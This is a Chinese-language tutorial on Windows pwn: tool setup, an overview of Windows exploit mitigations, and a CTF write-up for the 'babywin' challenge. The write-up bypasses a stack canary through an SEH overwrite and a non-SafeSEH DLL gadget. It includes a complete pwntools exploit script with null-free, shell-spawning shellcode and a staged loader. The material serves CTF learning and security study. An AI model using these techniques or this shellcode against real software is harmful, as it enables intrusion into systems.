windows pwn 学习
字数 1584 2025-08-23 18:31:24
Windows PWN 学习教程
环境搭建
1. 安装 winpwn
在 Windows 上搭建 Python 环境后,使用以下命令安装必要的库:
pip3 install winpwn
pip3 install pefile
pip3 install keystone-engine
pip3 install install capstone
安装完成后,在脚本中使用 from winpwn import* 来引用该库。
2. 安装 pwntools 替代方案
由于 pwntools 的 process 模块无法直接运行 exe 文件,可以使用 win_server 工具:
- 下载并解压 win_server.zip
- 运行命令:
win_server.exe + 目标程序 + 指定端口号 - 在脚本中使用
remote("127.0.0.1", port)连接
这样就可以使用 pwntools 编写攻击脚本和调试。
3. 安装 checksec
从 GitHub 下载 checksec.exe:
Releases · Wenzel/checksec.py
使用命令检查保护:
.\checksec.exe exe文件
4. 安装 windbg
在 Microsoft Store 中搜索并安装 windbg。
Windows 保护机制详解
- Dynamic Base:编译选项,指示程序是否启用 ASLR
- High Entropy VA:增加 ASLR 的程度,使内存区域更难猜测
- SEH (Structured Exception Handling):结构化异常处理机制
- SafeSEH:防止恶意软件利用异常处理机制进行攻击
- Force Integrity:强制签名保护
- Control Flow Guard (CFG):验证程序控制流,防止代码注入和重定向攻击
- Isolation:隔离保护
- Authenticode:签名保护
实战分析:西湖论剑 pwn babywin
1. 检查保护
使用 checksec 检查发现:
- 没有 NX 和 ASLR
- 开启了 Canary (GS)
2. 代码分析
关键函数:
int sub_401060() {
FILE *v0; // eax
char v2; // [esp+0h] [ebp-8h]
char *Buffer; // [esp+4h] [ebp-4h]
v2 = gift();
Buffer = (char *)malloc(0x1000u);
sub_401180("your gift: %p\n", v2);
sub_401180("give your data:", v2);
v0 = _acrt_iob_func(0);
fgets(Buffer, 200, v0);
return sub_4010E0(Buffer);
}
char *__cdecl sub_4010E0(char *Source) {
char Destination[32]; // [esp+0h] [ebp-24h] BYREF
strcpy(Destination, Source);
return strcat(Destination, Source);
}
3. 漏洞分析
- 明显的栈溢出漏洞
- 没有开启 NX,理论上可以直接 ret2shellcode
- 问题:开启了 Canary,需要绕过
- 绕过 Canary 需要输入
\x00字节 - 但
strcpy和strcat会截断\x00,无法正常输入
- 绕过 Canary 需要输入
4. 利用方法
-
利用 SEH 机制:
- 覆盖
__except_handler4指向的地址 - 当程序崩溃时,会跳转到该地址
- 覆盖
-
绕过 SafeSEH:
- 跳转到没有开启 SafeSEH 的代码地址
- 题目提供的
gift.dll符合要求
-
栈布局利用:
- 发现可覆盖的栈地址
0019FF64(位于__except_handler4上方) - 利用 gadget 跳转到该位置
- 发现可覆盖的栈地址
-
Shellcode 构造:
gift.dll没有\x00字节,可在其后布置 shellcode- 使用四字节 shellcode 跳转:
jmp $+8
-
多次输入:
- 由于 shellcode 较大(>200 字节),需要多次输入
- 使用 reread 思想,构造多个 fgets 输入
5. 攻击脚本
from pwn import *
pop2 = 0x271f16ac #: pop ecx ; pop ebp ; ret
context.arch = 'i386'
p = remote("127.0.0.1", 1234)
shell = b'U\x8b\xec\x83\xec SVW\xc7 E\xe8 u\x00 c\x00\xc7 E\xec r\x00 t\x00 f\xc7 E\xfc cm\xc6 E\xfe d\xc7 E\xe0 systf\xc7 E\xe4 em\xc6 E\xe6\x00 d\xa1 0\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89 E\xf8\x8b }\xf8\x83\xc7\x14\x8b\x17;\xd7 t8\x8d d$ \x00\x8b r(\x8d M\xe8 3\xc0+\xf1\x8d\x9b\x00\x00\x00\x00\x8d\x0c Ff\x8b L\r\xe8 f;LE\xe8 u\x06 @\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\x00\x00\x00\x8b\x12;\xd7 u\xcc\x8b }\xf8\x8b G<3\xf6\x8b\\ 8x\x8b D;\x1c\x03\xdf\x03\xc7\x89 E\xf0\x8b K\x8b C$\x03\xcf\x03\xc7\x89 M\xec\x89 E\xf4 9s\x18 vI\x8b\x14\xb1\x8d E\xe0\x03\xd7 3\xc9+\xd0\x8d d$ \x00\x8d\x04\x11\x8a D\x05\xe0:D\r\xe0 u\x06 A\x83\xf9\x06|\xed\x83\xf9\x06 u\x18\x8b M\xf0\x8d E\xfc P\x8b E\xf4\x0f\xb7\x04 p\x8b\x04\x81\x03\xc7\xff\xd0\x83\xc4\x04\x8b M\xec F;s\x18 r\xb7 _^[\x8b\xe5]\xc3\x8b z\x10\xeb\x82'
assert(b'\n' not in shell)
shellcode = '''
mov ecx,0x01010101
mov eax,0x14121bd /*__acrt_iob_func*/
xor eax,ecx
mov ebx,[eax]
xor ecx,ecx
push ecx
call ebx
pop ecx
push eax
mov ecx,0x01010101 /*fgets*/
push ecx
xor eax,eax
push eax
emmm:
pop eax
test eax,eax
jnz read
call near ptr emmm
read:
sub ax,0x3010
push eax
mov eax,0x14121c1
xor eax,ecx
mov ebx,[eax]
call ebx
pop ebx
jmp ebx
'''
shellcode = b'\xb9\x01\x01\x01\x01\xb8\xbd !A\x011\xc8\x8b\x181\xc9Q\xff\xd3YP\xb9\x01\x01\x01\x01Q1\xc0PX\x85\xc0u\x05\xe8\xf6\xff\xff\xfff-\x100P\xb8\xc1 !A\x011\xc8\x8b\x18\xff\xd3[\xff\xe3'
assert(b'\n' not in shellcode and b'\x00' not in shellcode)
assert(len(shellcode) < 120)
payload = shellcode.ljust(120, b'\xAA') + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe'
p.sendlineafter(b'data:', payload)
p.sendline(b'\xcc' + shell)
p.interactive()
6. 注意事项
- shellcode 在 Windows 下可能无法编译,可在 Linux 虚拟机中编译后使用
- shellcode 中不能包含
\x00字节 - 确保 shellcode 长度不超过限制
总结
通过这个案例,我们学习了:
- Windows 下的 PWN 环境搭建
- Windows 特有的保护机制及其绕过方法
- 利用 SEH 机制进行漏洞利用
- 绕过 SafeSEH 的技巧
- 构造无
\x00字节的 shellcode - 多次输入 payload 的技术
这些技术在 Windows 二进制安全研究中非常重要,掌握它们可以帮助我们更好地分析和利用 Windows 平台下的漏洞。